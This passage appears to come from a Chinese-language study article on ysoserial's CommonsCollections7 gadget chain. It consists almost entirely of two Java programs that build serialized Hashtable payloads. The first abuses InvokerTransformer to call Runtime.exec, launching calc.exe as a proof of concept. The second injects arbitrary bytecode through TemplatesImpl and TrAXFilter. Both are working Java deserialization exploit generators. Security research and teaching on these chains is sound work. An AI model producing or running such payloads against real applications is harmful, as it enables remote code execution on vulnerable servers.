package CommonsCollections7; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class exp { public static void main(String[] args) throws IOException { //封装转换链 Transformer[] trans = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; //封装chained链 ChainedTransformer chain = new ChainedTransformer(trans); //构造两个hash值相同的lazymap Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1,chain); lazyMap1.put("zZ",1); Map lazyMap2 = LazyMap.decorate(innerMap2, chain); lazyMap2.put("yy",1); Hashtable hashTable = new Hashtable(); hashTable.put(lazyMap1,1); hashTable.put(lazyMap2,2); //移除生成exp过程中因两个lazymap的hash相同而放入lazymap2的键 lazyMap2.remove("zZ"); //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser"); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file)); obj.writeObject(hashTable); } }
package CommonsCollections7; import CommonsCollections4.payload; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class exp1 { public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { //封装TemplatesImpl类 TemplatesImpl tmp = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass pay_class = pool.get(payload.class.getName()); byte[] payCode = pay_class.toBytecode(); Class clazz; clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); //存储payload字节码 Field byteCode = clazz.getDeclaredField("_bytecodes"); byteCode.setAccessible(true); byteCode.set(tmp,new byte[][]{payCode}); Field name = clazz.getDeclaredField("_name"); name.setAccessible(true); name.set(tmp,"tr1ple"); Transformer[] trans = new Transformer[]{ null, null }; //封装chained转换链 ChainedTransformer chain = new ChainedTransformer(trans); //构造两个hash值相同的lazymap Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1,chain); lazyMap1.put("zZ",1); Map lazyMap2 = LazyMap.decorate(innerMap2, chain); lazyMap2.put("yy",1); Hashtable hashTable = new Hashtable(); hashTable.put(lazyMap1,1); hashTable.put(lazyMap2,2); lazyMap2.remove("zZ"); //因为构造exp过程也会调用lazymap.get,如果直接调用transform将报错,因此通过反射赋值 Transformer[] trans1 = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{tmp} ) }; clazz = ChainedTransformer.class; Field itrans = clazz.getDeclaredField("iTransformers"); itrans.setAccessible(true); itrans.set(chain,trans1); //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7-1.ser"); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file)); obj.writeObject(hashTable); } }
ysoserial在构造整个CommonsCollections链的过程中多处用到了动态代理和反射的知识,想熟练掌握这些链的构造一定要熟悉基本概念,然后要能够想清楚每条链的是如何链接起来的,希望这篇文章能够帮助大家更好巩固CommonsCollections系列的理解,文中若有表述不对,还请师傅们指出。